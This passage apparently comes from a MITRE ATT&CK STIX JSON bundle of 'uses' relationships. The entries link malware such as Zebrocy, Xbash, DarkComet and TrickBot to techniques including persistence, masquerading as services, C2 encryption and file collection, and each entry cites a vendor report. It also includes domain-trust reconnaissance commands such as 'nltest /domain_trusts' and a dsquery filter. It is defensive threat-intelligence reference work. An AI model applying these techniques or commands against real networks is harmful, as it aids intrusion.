Retrieved February 12, 2019.", + "source_name": "ESET Zebrocy Nov 2018", + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) gathers the current time zone and date information from the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-12T16:33:29.240Z", + "id": "relationship--07eea18c-048c-4187-a6f1-ca97e9bfc846", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "modified": "2019-07-17T01:18:32.975Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "source_name": "ESET Zebrocy Nov 2018", + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses SSL and AES ECB for encrypting C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-12T16:33:29.284Z", + "id": "relationship--bcb137f0-e92d-47b5-912f-ba8d4f9ff15c", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "modified": "2019-07-17T01:18:32.968Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "source_name": "ESET Zebrocy Nov 2018", + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/" + }, + { + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "source_name": "ESET Zebrocy May 2019", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) stores all collected information in a single file before exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-12T16:33:29.291Z", + "id": "relationship--c4a2a14a-6fb0-46cf-b97d-c4bcb1c751a7", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "modified": "2019-07-17T01:18:32.972Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "source_name": "ESET Zebrocy Nov 2018", + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) scans the system and automatically collects files with the following extensions: .doc, .docx, ,.xls, .xlsx, .pdf, .pptx, .rar, .zip, .jpg, .jpeg, .bmp, .tiff, .kum, .tlg, .sbx, .cr, .hse, .hsf, and .lhz.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-12T16:33:29.331Z", + "id": "relationship--e9a4ceb4-ed33-48c4-b1f3-f73883b0e207", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "modified": "2019-07-17T01:18:32.965Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "source_name": "ESET Zebrocy Nov 2018", + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/" + }, + { + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "source_name": "ESET Zebrocy May 2019", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) performs persistence via adding a Registry key with a logon script.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-12T16:33:29.335Z", + "id": "relationship--a0f218db-2d79-43b7-b2b8-ef1199ada766", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "modified": "2019-07-17T01:18:33.071Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "source_name": "ESET Zebrocy Nov 2018", + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Denis](https://attack.mitre.org/software/S0354) deploys additional backdoors and hacking tools to the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-12T18:20:09.552Z", + "id": "relationship--117ecbd3-b4cd-4ad2-a5f4-30ba79563406", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "modified": "2019-04-24T20:56:04.815Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "source_name": "Cybereason Cobalt Kitty 2017", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Denis](https://attack.mitre.org/software/S0354) injects its payload into Windows host processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-12T18:20:09.578Z", + "id": "relationship--1e285f16-a145-46f5-aad3-0ea33392f147", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "modified": "2019-04-24T20:56:04.811Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "source_name": "Cybereason Cobalt Kitty 2017", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[Denis](https://attack.mitre.org/software/S0354) encodes the data sent to the server in Base64.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-12T18:20:09.584Z", + "id": "relationship--56e55812-7622-4e84-96c6-6fc46dd2b541", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "modified": "2019-04-24T20:56:04.830Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "source_name": "Cybereason Cobalt Kitty 2017", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[Denis](https://attack.mitre.org/software/S0354) will decrypt important strings used for C&C communication.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-12T18:20:09.610Z", + "id": "relationship--33d24077-13af-4e14-ba79-87ca145c5383", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "modified": "2019-04-24T20:56:04.845Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "source_name": "Cybereason Cobalt Kitty 2017", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Denis](https://attack.mitre.org/software/S0354) executes shellcode on the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-12T18:20:09.630Z", + "id": "relationship--cc409c0a-039c-4d2c-b478-e2a7a4c231ff", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "modified": "2019-04-24T20:56:04.847Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "source_name": "Cybereason Cobalt Kitty 2017", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[Denis](https://attack.mitre.org/software/S0354) queries the Registry for keys and values.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-12T18:20:09.655Z", + "id": "relationship--31028cf4-870e-490e-871e-ec55814dcef8", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "modified": "2019-04-24T20:56:04.846Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "source_name": "Cybereason Cobalt Kitty 2017", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "The [Exaramel for Windows](https://attack.mitre.org/software/S0343) dropper creates and starts a Windows service named wsmprovav with the description \u201cWindows Check AV\u201d in an apparent attempt to masquerade as a legitimate service.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-12T18:39:20.704Z", + "id": "relationship--cc4635e6-bc84-4c22-a3e0-d09a57f3a888", + "source_ref": "malware--051eaca1-958f-4091-9e5f-a9acd8f820b5", + "modified": "2019-09-04T23:04:50.177Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET TeleBots Oct 2018", + "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", + "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "The [Exaramel for Windows](https://attack.mitre.org/software/S0343) dropper creates and starts a Windows service named wsmprovav with the description \u201cWindows Check AV.\u201d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-12T18:47:45.098Z", + "id": "relationship--90b9f240-cd40-488a-9bbc-bb0c5db07365", + "source_ref": "malware--051eaca1-958f-4091-9e5f-a9acd8f820b5", + "modified": "2019-09-04T23:04:50.193Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET TeleBots Oct 2018", + "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", + "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) has dropped itself onto victim machines with file names such as WinDefender.Exe and winupdate.exe in an apparent attempt to masquerade as legitimate.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-12T19:00:34.566Z", + "id": "relationship--f82724f9-846b-442e-826c-a38a74a93737", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "modified": "2019-06-04T19:40:43.715Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro DarkComet Sept 2014", + "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Xbash](https://attack.mitre.org/software/S0341) can download additional malicious files from its C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-12T19:56:02.286Z", + "id": "relationship--809ffec1-52a1-45a5-b410-049352b99700", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "modified": "2019-06-28T15:15:54.502Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Xbash](https://attack.mitre.org/software/S0341) can create a Startup item for persistence if it determines it is on a Windows system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-12T19:56:02.319Z", + "id": "relationship--3341ad26-c7a8-4e42-a095-a49e65fde843", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "modified": "2019-06-28T15:15:54.526Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8", + "description": "[Xbash](https://attack.mitre.org/software/S0341) can create a cronjob for persistence if it determines it is on a Linux system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-12T19:56:02.342Z", + "id": "relationship--52c32b71-1b7c-45e9-b082-7f3f16b90f2b", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "modified": "2019-06-28T15:15:54.546Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "description": "[Xbash](https://attack.mitre.org/software/S0341) can attempt to exploit known vulnerabilities in Hadoop, Redis, or ActiveMQ when it finds those services running in order to conduct further execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-12T19:56:02.348Z", + "id": "relationship--6706d89e-27dd-48bb-ae0b-db51e07cbc91", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "modified": "2019-06-28T15:15:54.544Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + }, + { + "description": "Trend Micro. (2018, September 19). New Multi-Platform Xbash Packs Obfuscation, Ransomware, Coinminer, Worm and Botnet. Retrieved June 4, 2019.", + "source_name": "Trend Micro Xbash Sept 2018", + "url": "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/new-multi-platform-xbash-packs-obfuscation-ransomware-coinminer-worm-and-botnet" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[Xbash](https://attack.mitre.org/software/S0341) can obtain a webpage hosted on Pastebin to update its C2 domain list.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-12T19:56:02.352Z", + "id": "relationship--fc56f0e8-e059-403a-88e4-bd0b61bbc4b7", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "modified": "2019-06-28T15:15:54.548Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[OceanSalt](https://attack.mitre.org/software/S0346) has been executed via malicious macros.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-12T20:13:01.146Z", + "id": "relationship--33692a19-3c7f-47d9-8b36-fcec1a8a7241", + "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea", + "modified": "2019-02-12T21:14:11.281Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "source_name": "McAfee Oceansalt Oct 2018", + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[OceanSalt](https://attack.mitre.org/software/S0346) has been delivered via spearphishing emails with Microsoft Office attachments.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-12T20:13:01.196Z", + "id": "relationship--faf1e821-465d-40cc-b523-73f1ba308932", + "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea", + "modified": "2019-02-12T21:14:11.275Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "source_name": "McAfee Oceansalt Oct 2018", + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[Seasalt](https://attack.mitre.org/software/S0345) has masqueraded as a service called \"SaSaut\" with a display name of \"System Authorization Service\" in an apparent attempt to masquerade as a legitimate service.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-12T21:28:19.412Z", + "id": "relationship--597555f7-33e3-4699-9acf-9c7f15a850c9", + "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", + "modified": "2019-02-12T21:28:19.412Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[Seasalt](https://attack.mitre.org/software/S0345) uses a custom binary protocol for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-12T21:28:19.444Z", + "id": "relationship--6e85ec57-8c4d-4a7d-8e34-27966092147f", + "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", + "modified": "2019-02-12T21:28:19.444Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Seasalt](https://attack.mitre.org/software/S0345) has the capability to identify the drive type on a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-12T21:28:19.464Z", + "id": "relationship--2d76d7b2-ec41-4630-8405-ec7db2c0607c", + "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", + "modified": "2019-02-12T21:28:19.464Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "source_name": "McAfee Oceansalt Oct 2018", + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Azorult](https://attack.mitre.org/software/S0344) can delete files from victim machines.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-12T21:54:33.158Z", + "id": "relationship--0f785fc5-0d07-40bd-8d54-acfb79499824", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "modified": "2019-07-26T23:22:28.670Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", + "description": "[Nltest](https://attack.mitre.org/software/S0359) may be used to enumerate trusted domains by using commands such as nltest /domain_trusts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-14T17:08:55.311Z", + "id": "relationship--7f5933ff-6665-4bee-a291-0152c928747d", + "source_ref": "tool--981acc4c-2ede-4b56-be6e-fa1a75f37acf", + "modified": "2019-04-22T19:06:17.454Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ss64. (n.d.). NLTEST.exe - Network Location Test. Retrieved February 14, 2019.", + "source_name": "Nltest Manual", + "url": "https://ss64.com/nt/nltest.html" + }, + { + "source_name": "Fortinet TrickBot", + "description": "Bacurio Jr., F. and Salvio, J. (2018, April 9). Trickbot\u2019s New Reconnaissance Plugin. Retrieved February 14, 2019.", + "url": "https://www.fortinet.com/blog/threat-research/trickbot-s-new-reconnaissance-plugin.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194) has modules such as Get-NetDomainTrust and Get-NetForestTrust to enumerate domain and forest trusts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-14T17:40:25.505Z", + "id": "relationship--ee2068ec-c520-476e-979f-3dea201d0b9e", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "modified": "2019-04-24T23:43:08.306Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) can gather information about domain trusts by utilizing [Nltest](https://attack.mitre.org/software/S0359).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-14T17:45:24.855Z", + "id": "relationship--f4d15148-3a41-4fbc-a42e-59379724acc5", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "modified": "2019-06-24T19:15:06.908Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bacurio Jr., F. and Salvio, J. (2018, April 9). Trickbot\u2019s New Reconnaissance Plugin. Retrieved February 14, 2019.", + "source_name": "Fortinet TrickBot", + "url": "https://www.fortinet.com/blog/threat-research/trickbot-s-new-reconnaissance-plugin.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", + "description": "[dsquery](https://attack.mitre.org/software/S0105) can be used to gather information on domain trusts with dsquery * -filter \"(objectClass=trustedDomain)\" -attr *.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-14T17:49:30.824Z", + "id": "relationship--da7ddc38-f706-43b4-b3e7-fa3e5d1d2cff", + "source_ref": "tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe", + "modified": "2019-04-25T00:08:30.198Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Harmj0y Domain Trusts", + "description": "Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019.", + "url": "http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/ " + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": 